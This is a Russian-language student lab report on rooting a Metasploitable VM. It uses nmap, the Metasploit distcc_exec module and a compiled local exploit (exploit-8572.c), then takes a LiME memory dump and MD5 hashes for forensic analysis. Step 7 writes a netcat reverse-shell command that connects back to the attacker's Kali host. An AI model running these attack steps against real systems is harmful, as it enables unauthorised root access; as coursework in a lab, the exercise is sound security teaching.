**Фахрутдинов Булат Загфярович**

**11-902**

**ЛАБОРАТОРНАЯ РАБОТА №2. ИСПОЛЬЗОВАНИЕ DISTCC ДЛЯ ПОЛУЧЕНИЯ ПРАВ ROOT. СОЗДАНИЕ ДАМПА ПАМЯТИ LIME И ЕГО АНАЛИЗ.**

**Цели и задачи:** научиться получать доступ к root атакуемого устройства

**Ход работ:**

1. Был скачан образ OC Kali Linux с разрешением «.iso» и установлен на виртуальную машину VMWare
2. Были проверены технические характеристики виртуальной машины: архитектура процессора – х64, количество процессоров – 1, объем ОЗУ – 512 MB, размер жесткого диска – 16 GB, тип сетевого подключения – сетевой мост.
3. Был выполнен вход в систему и запрос ip-адреса
   1. Выполнена команда “ip a” для просмотра адреса виртуальной ОС в сети. Адрес был локальным, поэтому было необходимо получить DHCP адрес, для связи с хостовым ПК
      1. Выполнена команда “dhclient” – для получения публичного адреса
   2. Адрес был записан для дальнейшей работы с хостовым ПК
4. Запуск nmap
   1. Выполнил команду “ nmap -p 1-65535 -T4 -A –v MS\_IP 2>&1 | tee /var/tmp/scan.txt”
   2. Убедился в том, что все успешно запущено
5. Настройка загрузчика distcc
   1. Зашел в msfconsole и запустил exploit -> use exploit/unix/misc/distcc\_exec
   2. Выбрал загрузчик RUBY и установил RHOST 192.168.244.129 (metasploitable ip)
6. Скачивание exploit-8572.c
   1. Скачал и скомпилировал файл exploit-8572.c командой «gcc»
   2. Убедился в успешности создания исполняемого файла (-x--x--)
7. Открытие NETCAT сессии
   1. Выполнил «echo '#!/bin/sh' > /tmp/run;» и «echo '/bin/netcat -e /bin/sh KL\_IP 4444' >> /tmp/run;»
   2. Определил PID родителя и запустил ./exploit-8572
   3. Проверил root командой whoami
8. Провел сисадмин анализ наших действий на машине Metasploitable (пункт 1.5)
9. Подготовка директории
   1. Создал папку /var/www/distcc
   2. Изменил владельца, а также установил chmod 755
10. Создание дампа и сбор сведений
    1. Перешел в скачанную в прошлой лабе папку LiME/src и выполнил «insmod ./lime-2.6.24-16-server.ko "path=/var/www/distcc/distcc\_memory.lime format=lime";»
    2. Собрал сведения о сетевых соединениях, используемых файлах и работающих процессорах
11. Создание хэш-суммы
    1. Выполнил сбор MD5 хэша папки /var/www/distcc/ командой «md5sum \* | tee distcc\_md5.txt»